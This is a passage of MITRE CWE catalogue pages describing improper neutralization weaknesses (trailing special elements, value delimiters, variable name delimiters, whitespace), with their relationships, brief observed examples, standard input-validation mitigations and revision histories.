updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Description, Name
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-04-05CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Substitution Character
2008-04-11Failure to Remove Substitution Character
2009-03-10Failure to Sanitize Substitution Character
2010-04-05Improper Sanitization of Substitution Characters

CWE-162: Improper Neutralization of Trailing Special Elements

Weakness ID: 162
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes trailing special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
+ Extended Description
As data is parsed, improperly handled trailing special elements may cause the process to take unexpected actions that result in an attack.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.138Improper Neutralization of Special Elements
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.42Path Equivalence: 'filename.' (Trailing Dot)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.46Path Equivalence: 'filename ' (Trailing Space)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.49Path Equivalence: 'filename/' (Trailing Slash)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.54Path Equivalence: 'filedir\' (Trailing Backslash)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.163Improper Neutralization of Multiple Trailing Special Elements
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
web framework for .NET allows remote attackers to bypass authentication for .aspx files in restricted directories via a request containing a (1) "\" (backslash) or (2) "%5C" (encoded backslash)
Trailing space ("+" in query string) leads to source code disclosure.
Application server allows remote attackers to read source code for .jsp files by appending a / to the requested URL.
+ Potential Mitigations
Developers should anticipate that trailing special elements will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERTrailing Special Element
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-05-27CWE Content TeamMITRE
updated Description, Name
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-04-05CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Trailing Special Element
2009-05-27Failure to Sanitize Trailing Special Element
2010-04-05Improper Sanitization of Trailing Special Elements

CWE-142: Improper Neutralization of Value Delimiters

Weakness ID: 142
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as value delimiters when they are sent to a downstream component.
+ Extended Description
As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.140Improper Neutralization of Delimiters
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
Multiple internal space, insufficient quoting - program does not use proper delimiter between values.
+ Potential Mitigations
Developers should anticipate that value delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERValue Delimiter
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Embedded Delimiters", Page 408. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-04-05CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Value Delimiter
2010-04-05Failure to Sanitize Value Delimiters

CWE-154: Improper Neutralization of Variable Name Delimiters

Weakness ID: 154
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as variable name delimiters when they are sent to a downstream component.
+ Extended Description
As data is parsed, an injected delimiter may cause the process to take unexpected actions that result in an attack. Example: "$" for an environment variable.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.138Improper Neutralization of Special Elements
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
"%" variable is expanded by wildcard function into disallowed commands.
Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant information exposure.
+ Potential Mitigations
Developers should anticipate that variable name delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

Under-studied.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERVariable Name Delimiter
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-03-10CWE Content TeamMITRE
updated Description, Name
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-04-05CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Variable Name Delimiter
2008-04-11Failure to Remove Variable Name Delimiter
2009-03-10Failure to Sanitize Variable Name Delimiter
2010-04-05Improper Sanitization of Variable Name Delimiters

CWE-156: Improper Neutralization of Whitespace

Weakness ID: 156
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as whitespace when they are sent to a downstream component.
+ Extended Description
This can include space, tab, etc.
+ Alternate Terms
White space
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.138Improper Neutralization of Special Elements
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
MIE. virus protection bypass with RFC violations involving extra whitespace, or missing whitespace.
CPU consumption with MIME headers containing lines with many space characters, probably due to algorithmic complexity (RESOURCE.AMP.ALG).
MIE. whitespace interpreted differently by mail clients.
+ Potential Mitigations
Developers should anticipate that whitespace will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Can overlap other separator characters or delimiters.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERSPEC.WHITESPACEWhitespace
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Relationship_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Description, Name
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-04-05CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Whitespace
2008-04-11Failure to Remove Whitespace
2009-03-10Failure to Sanitize Whitespace
2010-04-05Improper Sanitization of Whitespace

CWE-155: Improper Neutralization of Wildcards or Matching Symbols

Weakness ID: 155
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
